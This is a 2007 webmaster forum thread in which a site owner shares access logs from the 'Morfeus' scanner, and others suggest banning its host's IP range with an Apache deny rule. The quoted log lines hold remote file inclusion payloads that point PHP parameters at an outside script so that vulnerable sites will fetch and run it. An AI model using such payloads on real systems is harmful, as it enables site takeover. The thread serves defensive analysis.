Morfeus #*$!ing Scanner

Forum Moderators: open

Message Too Old, No Replies

Morfeus #*$!ing Scanner

Spam scanner or referral bomber?

Wemic

4:59 pm on Jan 22, 2007 (gmt 0)

Over the past month my site has been hit numerous times per day by this scanner. I'm trying to figure out exactly what this bot is doing because it pulls robots.txt then starts to misbehave (see below). A lot of entries have "path=http://morfeus.us/M.php?&/" in them so I am not sure if this is a referal bomb or something else.

====

66.148.71.nnn--[04/Jan/2007:07:44:49-0500]GET /bridge/enigma/E2_header.inc.php?boarddir=http://morfeus.us/M.php?&/ HTTP/1.1404607mydomain.tdl-Morfeus #*$!ing Scanner-
66.148.71.nnn--[04/Jan/2007:07:44:49-0500]GET /WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=http://morfeus.us/M.php?&/ HTTP/1.1404607mydomain.tdl-Morfeus #*$!ing Scanner-
66.148.71.nnn--[04/Jan/2007:07:44:49-0500]GET /eventcal/mod_eventcal.php?lm_absolute_path=http://morfeus.us/M.php?&/ HTTP/1.1404607mydomain.tdl-Morfeus #*$!ing Scanner-

[edited by: volatilegx at 10:58 pm (utc) on Jan. 22, 2007]
[edit reason] trimmed log entries [/edit]

volatilegx

10:59 pm on Jan 22, 2007 (gmt 0)

This forum won't allow the "f-word", but I'm sure everybody can guess what the actual user agent is, right?

wilderness

11:26 pm on Jan 22, 2007 (gmt 0)

See these threads

[google.com...]

BTW, I have most of the providers IP ranges denied access to my sites.
Of course most everybody realizes that I'm a paranoid over-reactionary ;)

Mokita

11:42 pm on Jan 22, 2007 (gmt 0)

The 66.148.71. range belongs to Hopone, who have a reputation for hosting spammers and doing little about it. Try a Google search for hopone+spam

I have had their entire CIDR banned for quite a long time:

deny from 66.148.64.0/18

System

1:07 am on Jan 23, 2007 (gmt 0)

redhat

The following 6 messages were cut out to new thread by brett_tabke. New thread at: search_engine_spiders/3228772.htm [webmasterworld.com]
9:26 am on Jan. 23, 2007 (cst -6)